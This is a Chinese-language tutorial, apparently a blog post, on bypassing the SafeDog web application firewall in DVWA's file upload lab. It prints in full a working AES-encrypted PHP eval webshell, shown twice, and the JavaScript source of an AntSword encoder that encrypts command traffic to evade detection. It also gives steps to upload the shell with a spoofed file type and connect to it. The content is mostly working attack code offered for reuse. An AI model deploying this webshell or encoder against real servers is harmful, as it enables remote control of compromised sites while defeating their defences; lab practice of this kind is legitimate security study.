以dvwa靶场文件上传漏洞为例,安装安全狗后尝试上传一个一句话木马,发现被拦截
接下来尝试抓包修改文件类型,看看能不能上传上去,修改文件类型后上传成功,将info.php改为png
但是上传上去的是图片,不方便用蚁剑连接。而且修改文件类型仅仅只是做到了落地免杀,没有做动态免杀,在用蚁剑连接木马的时候还是需要访问php文件还是需要读到内存里,一旦读取还是会被安全狗拦截,所以需要给蚁剑装一个编码器,因为普通的编码可能还是会被安全狗识别拦截,这里去github上下载一个
https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php/encoder
选择256位
打开编码器的源码 ,里面自带了一个 免杀的木马,等下使用这个木马进行上传
/**
* php::aes-256-cfb (zeroPadding)编码器
* Create at: 2019/05/10 01:10:53
* Author: @Medicean
*
-----------------------------------------------
<?php
@session_start();
$pwd='ant';
$key=substr(str_pad(session_id(),32,'a'),0,32);
$iv=$key;
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-256-CFB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv));
?>
-----------------------------------------------
KEY的长度 aes-x-cbc
16 aes-128-cbc
24 aes-192-cbc
32 aes-256-cbc
*/
'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));
function get_cookie(Name, CookieStr="") {
var search = Name + "="
var returnvalue = "";
if (CookieStr.length > 0) {
var sd = CookieStr.indexOf(search);
if (sd!= -1) {
sd += search.length;
var end = CookieStr.indexOf(";", sd);
if (end == -1){
end = CookieStr.length;
}
returnvalue = window.unescape(CookieStr.substring(sd, end));
}
}
return returnvalue;
}
function decryptText(keyStr, text) {
let buff = Buffer.alloc(32, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
iv: CryptoJS.enc.Utf8.parse(keyStr),
mode: CryptoJS.mode.CFB,
padding: CryptoJS.pad.ZeroPadding
}).toString(CryptoJS.enc.Utf8)
return decodetext;
}
function encryptText(keyStr, text) {
let buff = Buffer.alloc(32, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
iv: CryptoJS.enc.Utf8.parse(keyStr),
mode: CryptoJS.mode.CFB,
padding: CryptoJS.pad.ZeroPadding,
}).toString()
return encodetext;
}
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 从扩展中获取 shell 配置
let headers = ext.opts.httpConf.headers;
if(!headers.hasOwnProperty('Cookie')) {
window.toastr.error("请先设置 Cookie (大小写敏感), 可通过浏览网站获取Cookie", "错误");
return data;
}
let session_key = "PHPSESSID";
let keyStr = get_cookie(session_key, headers['Cookie']);
if(keyStr.length === 0) {
window.toastr.error("未在 Cookie 中发现PHPSESSID", "错误");
return data;
}
data[pwd] = encryptText(keyStr, data['_']);
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
新建编码器,选择php
把代码复制进去
添加完后点击保存
然后把上面给的木马上传上去。是一个免杀木马可以直接绕过安全狗
<?php
@session_start();
$pwd='ant';
$key=substr(str_pad(session_id(),32,'a'),0,32);
$iv=$key;
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-256-CFB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv));
?>
然后用蚁剑尝试连接
在选择编码器的时候要选择自己刚刚添加的自定义的编码器名字,我这里定义的是a
设置请求信息,找到登录该网站的cookie。这个编码器会对流量进行加密而加密所用的密钥就是cookie
,
添加进去,cookie要注意大小写
之后即可连接成功